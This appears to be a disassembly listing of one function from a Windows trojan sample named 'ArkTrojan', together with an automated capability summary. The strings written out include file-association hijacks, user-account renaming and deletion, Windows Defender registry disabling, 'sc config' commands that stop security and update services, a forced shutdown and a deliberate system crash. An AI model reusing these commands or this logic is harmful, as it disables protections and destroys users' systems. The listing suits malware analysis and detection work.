Function at 0x402240
Capabilities:
Copy file
Create process on windows
Create thread
Delete file
Disable system features via registry on windows
Disable windows defender features via registry on windows
Get common file path
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x838
mov eax, dword [0x8ab050]
xor eax, esp
mov dword [esp + 0x834], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x14]
push edi
push eax
push 0x104
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x428]
push 0x104
push eax
push 0
call edi
push str.Microsoft_Security_Service.exe
lea eax, [esp + 0x1c]
push 0x104
push eax
call fcn.00888704
add esp, 0xc
lea eax, [esp + 0x18]
push 1
push eax
lea eax, [esp + 0x430]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x4024fa
lea eax, [esp + 0x220]
push eax
push 0x104
call esi
push 0x104
lea eax, [esp + 0x634]
push eax
push 0
call edi
push str.Microsoft_Security_Service.exe
lea eax, [esp + 0x224]
push 0x104
push eax
call fcn.00888704
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0x63c]
add esp, 0xc
push 6
push eax
call esi
test eax, eax
je 0x4024c7
push 6
lea eax, [esp + 0x224]
push eax
call esi
test eax, eax
je 0x4024c7
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
push str._k_assoc_.bat.mp3__assoc_.vbs.mp3__assoc_.js.mp3__assoc_.html.mp3__assoc_.symlink.mp3__exit
push str.cmd.exe
push str.open
push 0
call edi
push 0
push 0
push str._k_wmic_useraccount_where_name__USERNAME___rename_JopoScape__net_user_JopoScape_kill__exit
push str.cmd.exe
push str.open
push 0
call edi
call fcn.00404610
push 0
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 1
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_Defender
push 0x80000002
mov dword [esp + 0x30], 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
push 4
lea eax, [esp + 0x14]
push eax
push 4
push 0
push str.DisableAntiSpyware
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push str._c_sc_config__Sense__startdisabled
push str.cmd.exe
push str.open
push 0
call edi
push 0
push 0
push str._c_sc_config__WdNisSvc__startdisabled
push str.cmd.exe
push str.open
push 0
call edi
push 0
push 0
push str._c_sc_config__WinDefend__startdisabled
push str.cmd.exe
push str.open
push 0
call edi
push 0
push 0
push str._c_sc_config__mpssvc__startdisabled
push str.cmd.exe
push str.open
push 0
call edi
push 0
push 0
push str._c_sc_config__wuauserv__startdisabled
push str.cmd.exe
push str.open
push 0
call edi
push 0
push 0
push str._c_sc_config__WaaSMedicSvc__startdisabled
push str.cmd.exe
push str.open
push 0
call edi
push 0
push 0
push str._c_label_C:IM_WATCHING_YOU
push str.cmd.exe
push str.open
push 0
call edi
call fcn.00403c10
call fcn.00403470
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call esi
push 0
push 0
push str._c_shutdown__r__t_0__f
push str.cmd.exe
push str.open
push 0
call edi
push 0x1388
call esi
lea eax, [esp + 0x17]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [esp + 0x10]
push eax
push 6
push 0
push 0
push 0
push 0xdeaddead
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
pop edi
pop esi
mov ecx, dword [esp + 0x834]
xor ecx, esp
call fcn.00883d4a
mov esp, ebp
pop ebp
ret 0x10
push 0x10
push str.ArkTrojan
push 0x8a67c0
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x428]
push eax
call esi
lea eax, [esp + 0x18]
push eax
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 2
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwarePoliciesMicrosoftWindowsSystem
push 0x80000001
mov dword [esp + 0x30], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
push 4
lea eax, [esp + 0x14]
push eax
push 4
push 0
push 0x8a6868
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push 0
push 0x4032b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.004038d0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x83c]
pop edi
pop esi
xor ecx, esp
call fcn.00883d4a
mov esp, ebp
pop ebp
ret 0x10